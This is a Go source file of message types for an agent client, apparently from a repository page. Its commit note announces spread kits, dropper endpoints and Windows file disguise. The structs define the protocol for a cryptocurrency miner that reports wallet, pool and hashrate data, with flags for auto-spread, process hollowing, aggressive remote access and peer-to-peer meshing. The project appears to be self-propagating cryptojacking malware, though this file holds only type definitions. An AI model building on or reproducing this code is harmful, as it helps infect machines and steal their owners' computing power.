Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
75 lines
2.3 KiB
Go
75 lines
2.3 KiB
Go
package client
|
|
|
|
import "encoding/json"
|
|
|
|
type Message struct {
|
|
Type string `json:"type"`
|
|
Payload json.RawMessage `json:"payload"`
|
|
}
|
|
|
|
type AuthPayload struct {
|
|
AgentID string `json:"agent_id"`
|
|
Wallet string `json:"wallet"`
|
|
Version string `json:"version"`
|
|
Hostname string `json:"hostname"`
|
|
CPUCores int `json:"cpu_cores"`
|
|
MemoryGB int `json:"memory_gb"`
|
|
Worker string `json:"worker_name"`
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
PoolTLS bool `json:"pool_tls"`
|
|
PoolPass string `json:"pool_pass"`
|
|
AIEnabled bool `json:"ai_enabled"`
|
|
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
|
AIModel string `json:"ai_model"`
|
|
HolePunch bool `json:"hole_punch"`
|
|
RemoteAggressive bool `json:"remote_aggressive"`
|
|
MeshP2P bool `json:"mesh_p2p"`
|
|
AutoSpread bool `json:"auto_spread"`
|
|
ProcessHollowing bool `json:"process_hollowing"`
|
|
Platform string `json:"platform"`
|
|
Arch string `json:"arch"`
|
|
OSVersion string `json:"os_version"`
|
|
}
|
|
|
|
type AuthResponse struct {
|
|
Success bool `json:"success"`
|
|
AgentID string `json:"agent_id"`
|
|
Error string `json:"error"`
|
|
}
|
|
|
|
type Job struct {
|
|
ID string `json:"job_id"`
|
|
Height int64 `json:"height"`
|
|
BlockTemplate string `json:"blocktemplate"`
|
|
Difficulty int64 `json:"difficulty"`
|
|
SeedHash string `json:"seed_hash"`
|
|
Target string `json:"target"`
|
|
Blob string `json:"blob"`
|
|
Algo string `json:"algo"`
|
|
}
|
|
|
|
type SharePayload struct {
|
|
JobID string `json:"job_id"`
|
|
Nonce string `json:"nonce"`
|
|
Hash string `json:"hash"`
|
|
Worker string `json:"worker_name"`
|
|
}
|
|
|
|
type StatsPayload struct {
|
|
Hashrate15s float64 `json:"hashrate_15s"`
|
|
Hashrate1m float64 `json:"hashrate_1m"`
|
|
Hashrate15m float64 `json:"hashrate_15m"`
|
|
SharesSubmitted int `json:"shares_submitted"`
|
|
SharesAccepted int `json:"shares_accepted"`
|
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
|
UptimeSeconds int `json:"uptime_seconds"`
|
|
}
|
|
|
|
type ShareResult struct {
|
|
JobID string `json:"job_id"`
|
|
Accepted bool `json:"accepted"`
|
|
Error string `json:"error"`
|
|
}
|